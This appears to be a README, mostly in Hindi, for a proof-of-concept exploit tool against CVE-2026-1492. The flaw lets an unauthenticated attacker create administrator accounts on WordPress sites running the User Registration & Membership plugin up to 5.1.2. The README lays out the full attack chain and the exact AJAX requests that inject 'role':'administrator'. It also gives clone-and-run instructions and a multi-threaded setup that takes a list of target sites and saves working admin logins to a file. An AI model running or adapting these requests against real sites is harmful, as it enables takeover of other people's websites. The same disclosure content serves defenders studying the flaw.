
User Registration & Membership <= 5.1.2 - सदस्यता पंजीकरण के माध्यम से अप्रमाणित विशेषाधिकार वृद्धि
User Registration & Membership <= 5.1.2 - मेंबरशिप रजिस्ट्रेशन के माध्यम से बिना प्रमाणीकरण के विशेषाधिकार वृद्धि
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-1492 |
| गंभीरता | क्रिटिकल — CVSS v3.1 स्कोर: 9.8 |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| प्रभावित सॉफ़्टवेयर | User Registration & Membership — WordPress के लिए कस्टम रजिस्ट्रेशन फ़ॉर्म बिल्डर, कस्टम लॉगिन फ़ॉर्म, यूज़र प्रोफ़ाइल, सामग्री प्रतिबंध और मेंबरशिप प्लगइन |
| प्रभावित संस्करण | 5.1.2 तक के सभी संस्करण |
| भेद्यता प्रकार | अनुचित विशेषाधिकार प्रबंधन — बिना प्रमाणीकरण के एडमिन खाता निर्माण |
| आवश्यक प्रमाणीकरण | कोई नहीं |
| CWE | CWE-269: अनुचित विशेषाधिकार प्रबंधन |
विवरण:
WordPress के लिए User Registration & Membership प्लगइन, 5.1.2 तक के सभी संस्करणों में बिना प्रमाणीकरण के विशेषाधिकार वृद्धि (Unauthenticated Privilege Escalation) के प्रति संवेदनशील है। यह भेद्यता user_registration_membership_register_member AJAX हैंडलर के कारण उत्पन्न होती है, जो मेंबरशिप रजिस्ट्रेशन प्रक्रिया के दौरान बिना किसी सर्वर-साइड अनुमतिसूची (allowlist) या क्षमता (capability) जाँच लागू किए उपयोगकर्ता द्वारा आपूर्ति किए गए role मान को स्वीकार करता है। एक पूर्णतः बिना प्रमाणीकरण वाला दूरस्थ हमलावर बहु-चरणीय AJAX अनुरोध श्रृंखला तैयार कर सकता है — पहले एक नया उपयोगकर्ता खाता पंजीकृत करके, फिर members_data JSON पेलोड में "role": "administrator" इंजेक्ट करके एक दुर्भावनापूर्ण register_member कॉल सबमिट करके — पूर्ण विशेषाधिकार वाला WordPress व्यवस्थापक (एडमिन) खाता चुपचाप बना सकता है। इसके परिणामस्वरूप बिना किसी उपयोगकर्ता इंटरैक्शन की आवश्यकता के प्रभावित WordPress इंस्टॉलेशन का पूर्ण समझौता हो जाता है।
यह एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शोषण स्क्रिप्ट है जो User Registration & Membership प्लगइन के संवेदनशील संस्करण को चलाने वाली WordPress साइटों के विरुद्ध पूर्ण स्टेट-अवेयर (state-aware) आक्रमण श्रृंखला लागू करती है। यह टूल स्वचालित डिस्कवरी, प्लान निष्कर्षण, नॉन्स संग्रहण, द्वि-प्रवाह रजिस्ट्रेशन, रोल इंजेक्शन और एडमिन सत्यापन के साथ बुद्धिमान बहु-चरणीय शोषण करता है।
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
या requirements फ़ाइल के माध्यम से:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
यह टूल Rich द्वारा संचालित पूर्णतः इंटरैक्टिव टर्मिनल इंटरफ़ेस का उपयोग करता है। सभी पैरामीटर रनटाइम पर पूछे जाते हैं।
एक सादा टेक्स्ट फ़ाइल बनाएँ (डिफ़ॉल्ट: list.txt) जिसमें प्रत्येक पंक्ति में एक टार्गेट हो:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
यह टूल स्वचालित रूप से निम्न को डिस्कवर और पार्स करता है:
| टार्गेट | क्या निकाला जाता है |
|---|---|
/membership-pricing/ | मेंबरशिप प्लान ID, रजिस्ट्रेशन पेज लिंक |
/registration/ | फ़ॉर्म फ़ील्ड, नॉन्स, AJAX URL, मेंबरशिप रेडियो इनपुट |
user_registration_params JS ऑब्जेक्ट | ajax_url, security नॉन्स, फ़ॉर्म मेटाडेटा |
ur_membership_frontend_localized_data | मेंबरशिप-विशिष्ट नॉन्स, AJAX एंडपॉइंट |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ सर्वर बिना किसी अनुमतिसूची सत्यापन के क्लाइंट से
roleफ़ील्ड स्वीकार करता है — यही CVE-2026-1492 का मूल कारण है।
यह टूल एक नया सत्र खोलता है, नवनिर्मित क्रेडेंशियल्स के साथ लॉगिन करता है, और निम्न की जाँच करता है:
| एंडपॉइंट | जाँचा गया संकेतक |
|---|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |